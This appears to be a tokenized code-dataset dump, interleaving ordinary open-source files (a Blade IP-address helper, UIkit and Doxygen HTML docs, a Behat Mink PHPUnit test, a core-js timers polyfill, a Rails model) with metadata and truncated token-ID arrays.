[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package com.blade.kit; import com.blade.mvc.http.Request; import lombok.experimental.UtilityClass; /** * Web kit * * @author biezhi * 2017/6/2 */ @UtilityClass public class WebKit { public static final String UNKNOWN_MAGIC = "unknown"; /** * Get the client IP address by request * * @param request Request instance * @return return ip address */ public static String ipAddress(Request request) { String ipAddress = request.header("x-forwarded-for"); if (StringKit.isBlank(ipAddress) || UNKNOWN_MAGIC.equalsIgnoreCase(ipAddress)) { ipAddress = request.header("Proxy-Client-IP"); } if (StringKit.isBlank(ipAddress) || UNKNOWN_MAGIC.equalsIgnoreCase(ipAddress)) { ipAddress = request.header("WL-Proxy-Client-IP"); } if (StringKit.isBlank(ipAddress) || UNKNOWN_MAGIC.equalsIgnoreCase(ipAddress)) { ipAddress = request.header("X-Real-IP"); } if (StringKit.isBlank(ipAddress) || UNKNOWN_MAGIC.equalsIgnoreCase(ipAddress)) { ipAddress = request.header("HTTP_CLIENT_IP"); } if (StringKit.isBlank(ipAddress) || UNKNOWN_MAGIC.equalsIgnoreCase(ipAddress)) { ipAddress = request.header("HTTP_X_FORWARDED_FOR"); } return ipAddress; } }
biezhi/blade
src/main/java/com/blade/kit/WebKit.java
Java
apache-2.0
1,330
[ 30522, 7427, 4012, 1012, 6085, 1012, 8934, 1025, 12324, 4012, 1012, 6085, 1012, 19842, 2278, 1012, 8299, 1012, 5227, 1025, 12324, 8840, 13344, 2243, 1012, 6388, 1012, 9710, 26266, 1025, 1013, 1008, 1008, 1008, 4773, 8934, 1008, 1008, 1030, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <html lang="en-gb" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>List component - UIkit documentation</title> <link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon-precomposed" href="images/apple-touch-icon.png"> <link id="data-uikit-theme" rel="stylesheet" href="css/uikit.docs.min.css"> <link rel="stylesheet" href="css/docs.css"> <link rel="stylesheet" href="../vendor/highlight/highlight.css"> <script src="../vendor/jquery.js"></script> <script src="../dist/js/uikit.min.js"></script> <script src="../vendor/highlight/highlight.js"></script> <script src="js/docs.js"></script> </head> <body class="tm-background"> <nav class="tm-navbar uk-navbar uk-navbar-attached"> <div class="uk-container uk-container-center"> <a class="uk-navbar-brand uk-hidden-small" href="../index.html"><img class="uk-margin uk-margin-remove" src="images/logo_uikit.svg" width="90" height="30" title="UIkit" alt="UIkit"></a> <ul class="uk-navbar-nav uk-hidden-small"> <li><a href="documentation_get-started.html">Get Started</a></li> <li class="uk-active"><a href="components.html">Components</a></li> <li><a href="addons.html">Add-ons</a></li> <li><a href="customizer.html">Customizer</a></li> <li><a href="../showcase/index.html">Showcase</a></li> </ul> <a href="#tm-offcanvas" class="uk-navbar-toggle uk-visible-small" data-uk-offcanvas></a> <div class="uk-navbar-brand uk-navbar-center uk-visible-small"><img src="images/logo_uikit.svg" width="90" height="30" title="UIkit" alt="UIkit"></div> </div> </nav> <div class="tm-middle"> <div class="uk-container uk-container-center"> <div class="uk-grid" data-uk-grid-margin> <div class="tm-sidebar uk-width-medium-1-4 uk-hidden-small"> <ul class="tm-nav uk-nav" data-uk-nav> <li class="uk-nav-header">Defaults</li> <li><a href="base.html">Base</a></li> <li><a href="print.html">Print</a></li> <li class="uk-nav-header">Layout</li> <li><a href="grid.html">Grid</a></li> <li><a href="panel.html">Panel</a></li> <li><a href="article.html">Article</a></li> <li><a href="comment.html">Comment</a></li> <li><a href="utility.html">Utility</a></li> <li class="uk-nav-header">Navigations</li> <li><a href="nav.html">Nav</a></li> <li><a href="navbar.html">Navbar</a></li> <li><a href="subnav.html">Subnav</a></li> <li><a href="breadcrumb.html">Breadcrumb</a></li> <li><a href="pagination.html">Pagination</a></li> <li><a href="tab.html">Tab</a></li> <li class="uk-nav-header">Elements</li> <li class="uk-active"><a href="list.html">List</a></li> <li><a href="description-list.html">Description list</a></li> <li><a href="table.html">Table</a></li> <li><a href="form.html">Form</a></li> <li class="uk-nav-header">Common</li> <li><a href="button.html">Button</a></li> <li><a href="icon.html">Icon</a></li> <li><a href="close.html">Close</a></li> <li><a href="badge.html">Badge</a></li> <li><a href="alert.html">Alert</a></li> <li><a href="thumbnail.html">Thumbnail</a></li> <li><a href="overlay.html">Overlay</a></li> <li><a href="progress.html">Progress</a></li> <li><a href="text.html">Text</a></li> <li><a href="animation.html">Animation</a></li> <li class="uk-nav-header">JavaScript</li> <li><a href="dropdown.html">Dropdown</a></li> <li><a href="modal.html">Modal</a></li> <li><a href="offcanvas.html">Off-canvas</a></li> <li><a href="switcher.html">Switcher</a></li> <li><a href="toggle.html">Toggle</a></li> <li><a href="tooltip.html">Tooltip</a></li> <li><a href="scrollspy.html">Scrollspy</a></li> <li><a href="smooth-scroll.html">Smooth scroll</a></li> </ul> </div> <div class="tm-main uk-width-medium-3-4"> <article class="uk-article"> <h1 class="uk-article-title">List</h1> <p class="uk-article-lead">Easily create nicely looking lists, which come in different styles.</p> <h2 id="usage"><a href="#usage" class="uk-link-reset">Usage</a></h2> <p>To apply this component, add the <code>.uk-list</code> class to an unordered or ordered list. The list will now display without any spacing or list-style.</p> <h3 class="tm-article-subtitle">Example</h3> <ul class="uk-list"> <li>List item 1</li> <li>List item 2</li> <li>List item 3</li> </ul> <h3 class="tm-article-subtitle">Markup</h3> <pre><code>&lt;ul class="uk-list"&gt; &lt;li&gt;...&lt;/li&gt; &lt;li&gt;...&lt;/li&gt; &lt;li&gt;...&lt;/li&gt; &lt;/ul&gt;</code></pre> <hr class="uk-article-divider"> <h2 id="modifiers"><a href="#modifiers" class="uk-link-reset">Modifiers</a></h2> <p>To display the list in a different style, just add a modifier class to the the <code>.uk-list</code> class. The modifiers of the List component are <em>not</em> combinable with each other.</p> <h3>List line</h3> <p>Add the <code>.uk-list-line</code> class to separate list items with lines.</p> <h4 class="tm-article-subtitle">Example</h4> <ul class="uk-list uk-list-line uk-width-medium-1-3"> <li>List item 1</li> <li>List item 2</li> <li>List item 3</li> </ul> <h3 class="tm-article-subtitle">Markup</h3> <pre><code>&lt;ul class="uk-list uk-list-line"&gt;...&lt;/ul&gt;</code></pre> <hr class="uk-article-divider"> <h3>List striped</h3> <p>Add zebra-striping to a list using the <code>.uk-list-striped</code> class.</p> <h4 class="tm-article-subtitle">Example</h4> <ul class="uk-list uk-list-striped uk-width-medium-1-3"> <li>List item 1</li> <li>List item 2</li> <li>List item 3</li> </ul> <h3 class="tm-article-subtitle">Markup</h3> <pre><code>&lt;ul class="uk-list uk-list-striped"&gt;...&lt;/ul&gt;</code></pre> <hr class="uk-article-divider"> <h3>List space</h3> <p>Add the <code>.uk-list-space</code> class to increase the spacing between list items.</p> <h4 class="tm-article-subtitle">Example</h4> <ul class="uk-list uk-list-space uk-width-medium-1-3"> <li>This modifier may be useful for for list items with multiple lines of text.</li> <li>Lorem ipsum dolor sit amet, consectetur adipisicing elit.</li> <li>Ut enim ad minim veniam, quis nostrud exercitation ullamco.</li> </ul> <h3 class="tm-article-subtitle">Markup</h3> <pre><code>&lt;ul class="uk-list uk-list-space"&gt;...&lt;/ul&gt;</code></pre> </article> </div> </div> </div> </div> <div class="tm-footer"> <div class="uk-container uk-container-center uk-text-center"> <ul class="uk-subnav uk-subnav-line"> <li><a href="http://github.com/uikit/uikit">GitHub</a></li> <li><a href="http://github.com/uikit/uikit/issues">Issues</a></li> <li><a href="http://github.com/uikit/uikit/blob/master/CHANGELOG.md">Changelog</a></li> <li><a href="https://twitter.com/getuikit">Twitter</a></li> </ul> <div class="uk-panel"> <p>Made by <a href="http://www.yootheme.com">YOOtheme</a> with love and caffeine.<br>Licensed under <a href="http://opensource.org/licenses/MIT">MIT license</a>.</p> <a href="../index.html"><img src="images/logo_uikit.svg" width="90" height="30" title="UIkit" alt="UIkit"></a> </div> </div> </div> <div id="tm-offcanvas" class="uk-offcanvas"> <div class="uk-offcanvas-bar"> <ul class="uk-nav uk-nav-offcanvas uk-nav-parent-icon" data-uk-nav="{multiple:true}"> <li class="uk-parent"><a href="#">Documentation</a> <ul class="uk-nav-sub"> <li><a href="documentation_get-started.html">Get started</a></li> <li><a href="documentation_how-to-customize.html">How to customize</a></li> <li><a href="documentation_layouts.html">Layout examples</a></li> <li><a href="components.html">Components</a></li> <li><a href="addons.html">Add-ons</a></li> <li><a href="documentation_project-structure.html">Project structure</a></li> <li><a href="documentation_create-a-theme.html">Create a theme</a></li> <li><a href="documentation_create-a-style.html">Create a style</a></li> <li><a href="documentation_customizer-json.html">Customizer.json</a></li> <li><a href="documentation_javascript.html">JavaScript</a></li> </ul> </li> <li class="uk-nav-header">Components</li> <li class="uk-parent"><a href="#"><i class="uk-icon-wrench"></i> Defaults</a> <ul class="uk-nav-sub"> <li><a href="base.html">Base</a></li> <li><a href="print.html">Print</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-th-large"></i> Layout</a> <ul class="uk-nav-sub"> <li><a href="grid.html">Grid</a></li> <li><a href="panel.html">Panel</a></li> <li><a href="article.html">Article</a></li> <li><a href="comment.html">Comment</a></li> <li><a href="utility.html">Utility</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-bars"></i> Navigations</a> <ul class="uk-nav-sub"> <li><a href="nav.html">Nav</a></li> <li><a href="navbar.html">Navbar</a></li> <li><a href="subnav.html">Subnav</a></li> <li><a href="breadcrumb.html">Breadcrumb</a></li> <li><a href="pagination.html">Pagination</a></li> <li><a href="tab.html">Tab</a></li> </ul> </li> <li class="uk-parent uk-active"><a href="#"><i class="uk-icon-check"></i> Elements</a> <ul class="uk-nav-sub"> <li><a href="list.html">List</a></li> <li><a href="description-list.html">Description list</a></li> <li><a href="table.html">Table</a></li> <li><a href="form.html">Form</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-folder-open"></i> Common</a> <ul class="uk-nav-sub"> <li><a href="button.html">Button</a></li> <li><a href="icon.html">Icon</a></li> <li><a href="close.html">Close</a></li> <li><a href="badge.html">Badge</a></li> <li><a href="alert.html">Alert</a></li> <li><a href="thumbnail.html">Thumbnail</a></li> <li><a href="overlay.html">Overlay</a></li> <li><a href="progress.html">Progress</a></li> <li><a href="text.html">Text</a></li> <li><a href="animation.html">Animation</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-magic"></i> JavaScript</a> <ul class="uk-nav-sub"> <li><a href="dropdown.html">Dropdown</a></li> <li><a href="modal.html">Modal</a></li> <li><a href="offcanvas.html">Off-canvas</a></li> <li><a href="switcher.html">Switcher</a></li> <li><a href="toggle.html">Toggle</a></li> <li><a href="tooltip.html">Tooltip</a></li> <li><a href="scrollspy.html">Scrollspy</a></li> <li><a href="smooth-scroll.html">Smooth scroll</a></li> </ul> </li> <li class="uk-nav-header">Add-ons</li> <li class="uk-parent"><a href="#"><i class="uk-icon-th-large"></i> Layout</a> <ul class="uk-nav-sub"> <li><a href="addons_flex.html">Flex</a></li> <li><a href="addons_cover.html">Cover</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-bars"></i> Navigations</a> <ul class="uk-nav-sub"> <li><a href="addons_dotnav.html">Dotnav</a></li> <li><a href="addons_slidenav.html">Slidenav</a></li> <li><a href="addons_pagination.html">Pagination</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-folder-open"></i> Common</a> <ul class="uk-nav-sub"> <li><a href="addons_form-advanced.html">Form advanced</a></li> <li><a href="addons_form-file.html">Form file</a></li> <li><a href="addons_form-password.html">Form password</a></li> <li><a href="addons_form-select.html">Form select</a></li> <li><a href="addons_placeholder.html">Placeholder</a></li> </ul> </li> <li class="uk-parent"><a href="#"><i class="uk-icon-magic"></i> JavaScript</a> <ul class="uk-nav-sub"> <li><a href="addons_autocomplete.html">Autocomplete</a></li> <li><a href="addons_datepicker.html">Datepicker</a></li> <li><a href="addons_htmleditor.html">HTML editor</a></li> <li><a href="addons_notify.html">Notify</a></li> <li><a href="addons_search.html">Search</a></li> <li><a href="addons_nestable.html">Nestable</a></li> <li><a href="addons_sortable.html">Sortable</a></li> <li><a href="addons_sticky.html">Sticky</a></li> <li><a href="addons_timepicker.html">Timepicker</a></li> <li><a href="addons_upload.html">Upload</a></li> </ul> </li> <li class="uk-nav-divider"></li> <li><a href="../showcase/index.html">Showcase</a></li> </ul> </div> </div> </body> </html>
larsito030/elternfreund
docs/list.html
HTML
mit
17,974
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 16129, 11374, 1027, 1000, 4372, 1011, 16351, 1000, 16101, 1027, 1000, 8318, 2099, 1000, 1028, 1026, 2132, 1028, 1026, 18804, 25869, 13462, 1027, 1000, 21183, 2546, 1011, 1022, 1000, 1028, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>ns-3 PLC model: ns3::thread_arg_t Struct Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="doxygen.css" rel="stylesheet" type="text/css" /> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> </head> <body> <div id="top"><!-- do not remove this div! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">ns-3 PLC model </div> </td> </tr> </tbody> </table> </div> <!-- Generated by Doxygen 1.7.6.1 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Enumerations</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><b>ns3</b> </li> <li class="navelem"><a class="el" href="structns3_1_1thread__arg__t.html">thread_arg_t</a> </li> </ul> </div> </div> <div class="header"> <div class="summary"> <a href="#pub-attribs">Public Attributes</a> </div> <div class="headertitle"> <div class="title">ns3::thread_arg_t Struct Reference</div> </div> </div><!--header--> <div class="contents"> <!-- doxytag: class="ns3::thread_arg_t" --> <p><a href="structns3_1_1thread__arg__t-members.html">List of all members.</a></p> <table class="memberdecls"> <tr><td colspan="2"><h2><a name="pub-attribs"></a> Public Attributes</h2></td></tr> <tr><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="afb1fa8ace0f9b44a18acde5e07618855"></a><!-- doxytag: member="ns3::thread_arg_t::graph_copy" ref="afb1fa8ace0f9b44a18acde5e07618855" args="" --> <a class="el" href="structns3_1_1boostgraph__copy__t.html">boostgraph_copy</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>graph_copy</b></td></tr> <tr><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a3786cfc3ef15ebf241a495fc7357d5ff"></a><!-- doxytag: member="ns3::thread_arg_t::txInterface" ref="a3786cfc3ef15ebf241a495fc7357d5ff" args="" --> <a class="el" href="classns3_1_1PLC__TxInterface.html">PLC_TxInterface</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>txInterface</b></td></tr> <tr><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a97a3a9964f435efa8d9be12a5bb99bdc"></a><!-- doxytag: member="ns3::thread_arg_t::rxInterface" ref="a97a3a9964f435efa8d9be12a5bb99bdc" args="" --> <a class="el" href="classns3_1_1PLC__RxInterface.html">PLC_RxInterface</a> *&#160;</td><td class="memItemRight" valign="bottom"><b>rxInterface</b></td></tr> </table> <hr/>The documentation for this struct was generated from the following file:<ul> <li>model/<a class="el" href="plc-defs_8h_source.html">plc-defs.h</a></li> </ul> </div><!-- contents --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Enumerations</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <hr class="footer"/><address class="footer"><small> Generated on Sat Mar 30 2013 21:36:38 for ns-3 PLC model by &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.7.6.1 </small></address> </body> </html>
daniel-brettschneider/SiENA
ns-3.26/src/plc/doc/html/structns3_1_1thread__arg__t.html
HTML
gpl-3.0
7,326
[ 30522, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718, 2094, 1060, 11039, 19968, 1015, 1012, 1014, 17459, 1013, 1013, 4372, 1000, 1000, 8299, 1024, 1013, 1013, 7479, 1012, 1059, 2509, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php namespace Tests\Behat\Mink; use Behat\Mink\Session; /** * @group unittest */ class SessionTest extends \PHPUnit_Framework_TestCase { private $driver; private $selectorsHandler; private $session; protected function setUp() { $this->driver = $this->getMockBuilder('Behat\Mink\Driver\DriverInterface')->getMock(); $this->selectorsHandler = $this->getMockBuilder('Behat\Mink\Selector\SelectorsHandler')->getMock(); $this->session = new Session($this->driver, $this->selectorsHandler); } public function testGetDriver() { $this->assertSame($this->driver, $this->session->getDriver()); } public function testGetPage() { $this->assertInstanceOf('Behat\Mink\Element\DocumentElement', $this->session->getPage()); } public function testGetSelectorsHandler() { $this->assertSame($this->selectorsHandler, $this->session->getSelectorsHandler()); } public function testVisit() { $this->driver ->expects($this->once()) ->method('visit') ->with($url = 'some_url'); $this->session->visit($url); } public function testReset() { $this->driver ->expects($this->once()) ->method('reset'); $this->session->reset(); } public function testGetResponseHeaders() { $this->driver ->expects($this->once()) ->method('getResponseHeaders') ->will($this->returnValue($ret = array(2, 3, 4))); $this->assertEquals($ret, $this->session->getResponseHeaders()); } public function testGetStatusCode() { $this->driver ->expects($this->once()) ->method('getStatusCode') ->will($this->returnValue($ret = 404)); $this->assertEquals($ret, $this->session->getStatusCode()); } public function testGetCurrentUrl() { $this->driver ->expects($this->once()) ->method('getCurrentUrl') ->will($this->returnValue($ret = 'http://some.url')); $this->assertEquals($ret, $this->session->getCurrentUrl()); } public function testExecuteScript() { $this->driver ->expects($this->once()) ->method('executeScript') ->with($arg = 'JS'); $this->session->executeScript($arg); } public function testEvaluateScript() { $this->driver ->expects($this->once()) ->method('evaluateScript') ->with($arg = 'JS func') ->will($this->returnValue($ret = '23')); $this->assertEquals($ret, $this->session->evaluateScript($arg)); } public function testWait() { $this->driver ->expects($this->once()) ->method('wait') ->with(1000, 'function() {}'); $this->session->wait(1000, 'function() {}'); } }
lrt/lrt
vendor/behat/mink/tests/Behat/Mink/SessionTest.php
PHP
mit
3,095
[ 30522, 1026, 1029, 25718, 3415, 15327, 5852, 1032, 2022, 12707, 1032, 8117, 2243, 1025, 2224, 2022, 12707, 1032, 8117, 2243, 1032, 5219, 1025, 1013, 1008, 1008, 1008, 1030, 2177, 3131, 22199, 1008, 1013, 2465, 5219, 22199, 8908, 1032, 25718...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* */ var $ = require('./$'), $def = require('./$.def'), invoke = require('./$.invoke'), partial = require('./$.partial'), navigator = $.g.navigator, MSIE = !!navigator && /MSIE .\./.test(navigator.userAgent); function wrap(set) { return MSIE ? function(fn, time) { return set(invoke(partial, [].slice.call(arguments, 2), $.isFunction(fn) ? fn : Function(fn)), time); } : set; } $def($def.G + $def.B + $def.F * MSIE, { setTimeout: wrap($.g.setTimeout), setInterval: wrap($.g.setInterval) });
megadreams/Aurelia
sample_application/jspm_packages/npm/core-js@0.9.18/modules/web.timers.js
JavaScript
cc0-1.0
525
[ 30522, 1013, 1008, 1008, 1013, 13075, 1002, 1027, 5478, 1006, 1005, 1012, 1013, 1002, 1005, 1007, 1010, 1002, 13366, 1027, 5478, 1006, 1005, 1012, 1013, 1002, 1012, 13366, 1005, 1007, 1010, 1999, 6767, 3489, 1027, 5478, 1006, 1005, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
class WeavingType < ActiveRecord::Base acts_as_content_block :belongs_to_attachment => true has_many :weavings belongs_to :user validates_presence_of :name validates_uniqueness_of :name end
agiletoolkit/bcms_mano_weavings
app/models/weaving_type.rb
Ruby
lgpl-3.0
200
[ 30522, 2465, 15360, 13874, 1026, 3161, 2890, 27108, 2094, 1024, 1024, 2918, 4490, 1035, 2004, 1035, 4180, 1035, 3796, 1024, 7460, 1035, 2000, 1035, 14449, 1027, 1028, 2995, 2038, 1035, 2116, 1024, 15360, 2015, 7460, 1035, 2000, 1024, 5310, ...
